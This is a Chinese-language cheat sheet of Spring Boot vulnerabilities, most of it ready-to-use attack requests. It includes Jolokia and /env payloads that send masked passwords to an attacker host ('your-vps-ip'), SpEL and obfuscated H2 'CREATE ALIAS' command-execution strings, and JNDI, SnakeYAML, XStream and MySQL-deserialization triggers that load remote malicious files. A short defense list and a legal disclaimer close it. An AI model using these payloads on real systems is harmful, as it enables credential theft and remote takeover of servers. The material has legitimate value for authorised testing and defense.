最全Spring Boot 相关漏洞学习汇总
字数 1487 2025-08-10 08:29:06
Spring Boot 相关漏洞学习汇总
零、路由和版本知识
0x01:路由知识
- 自定义根路径:/manage、/management 或项目相关名称
- Actuator 路由:
- 1.x 版本默认以
/开头 - 2.x 版本统一以
/actuator开头
- 1.x 版本默认以
- 可能被修改的路由名称:如 /env 可能被改为 /appenv
0x02:版本知识
-
Spring Cloud 与 Spring Boot 版本依赖关系:
- Angel: 兼容 Spring Boot 1.2.x
- Brixton: 兼容 1.3.x、1.4.x
- Camden: 兼容 1.4.x、1.5.x
- Dalston/Edgware: 兼容 1.5.x,不兼容 2.0.x
- Finchley: 兼容 2.0.x,不兼容 1.5.x
- Greenwich: 兼容 2.1.x
- Hoxton: 兼容 2.2.x
-
小版本号后缀含义:
- BUILD-SNAPSHOT: 快照版
- MX: 里程碑版
- RCX: 候选发布版
- RELEASE: 正式发布版
- SRX: 修复版
一、信息泄露漏洞
0x01:路由地址及接口调用详情泄漏
-
常见 Swagger 相关路由:
/v2/api-docs /swagger-ui.html /api-docs /swagger /swagger-ui -
Actuator 可能泄露的路由:
/mappings /metrics /beans /configprops
0x02:配置不当暴露的路由
- 常见暴露的 Actuator 路由:
/env /actuator/env /refresh /actuator/refresh /restart /actuator/restart /jolokia /actuator/jolokia /trace /actuator/httptrace
0x03-0x06:获取被星号脱敏的密码明文
方法一:通过 Jolokia
- 找到属性名(GET /env)
- 调用 MBean 获取明文:
POST /jolokia {"mbean":"org.springframework.boot:name=SpringApplication,type=Admin","operation":"getProperty","type":"EXEC","arguments":["security.user.password"]}
方法二:通过 Eureka
- 找到属性名
- 设置属性:
POST /env eureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip - 刷新配置(POST /refresh)
方法三:通过占位符
POST /env
spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
方法四:通过 Heap Dump
- 下载 heapdump(GET /heapdump)
- 使用 MAT 分析:
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
二、远程代码执行漏洞
0x01:whitelabel error page SpEL RCE
- 利用条件:存在错误页面且参数可注入
- 利用方法:
/article?id=${T(java.lang.Runtime).getRuntime().exec("calc")}
0x02:spring cloud SnakeYAML RCE
- 利用条件:可设置属性并刷新配置
- 利用方法:
- 托管恶意 yml 和 jar
- 设置属性:
POST /env spring.cloud.bootstrap.location=http://your-vps-ip/example.yml - 刷新配置
0x03:eureka xstream deserialization RCE
- 利用方法:
- 架设恶意 XStream 服务器
- 设置属性:
POST /env eureka.client.serviceUrl.defaultZone=http://your-vps-ip/example - 刷新配置
0x04:jolokia logback JNDI RCE
- 利用方法:
- 托管恶意 xml
- 触发:
/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/example.xml
0x05:jolokia Realm JNDI RCE
- 利用方法:
- 准备恶意 class
- 架设 RMI 服务
- 发送恶意 payload
0x06:restart h2 database query RCE
- 利用方法:
然后重启应用POST /env spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('void ex(String m1,String m2,String m3)throws Exception{Runti','me.getRun','time().exe','c(new String[]{m1,m2,m3});}');CALL T5('cmd','/c','calc');
0x07:h2 database console JNDI RCE
- 利用方法:
- 准备恶意 class
- 触发:
POST /h2-console/login.do?jsessionid=xxxxxx driver=javax.naming.InitialContext&url=ldap://your-vps-ip:1389/JNDIObject
0x08:mysql jdbc deserialization RCE
- 利用方法:
- 架设恶意 MySQL 服务器
- 设置属性:
POST /env spring.datasource.url=jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true - 刷新配置
0x09-0x0C:restart 相关 RCE
通过 logging.config:
POST /env
logging.config=http://your-vps-ip/example.xml
通过 spring.main.sources:
POST /env
spring.main.sources=http://your-vps-ip/example.groovy
通过 spring.datasource.data:
POST /env
spring.datasource.data=http://your-vps-ip/example.sql
然后重启应用
防御建议
- 禁用不必要的 Actuator 端点
- 确保生产环境关闭调试功能
- 限制 Actuator 端点的访问权限
- 及时更新 Spring Boot 和相关组件
- 避免在配置文件中存储明文密码
- 使用安全的反序列化配置
注:本文档仅供安全研究和授权测试使用,请勿用于非法用途。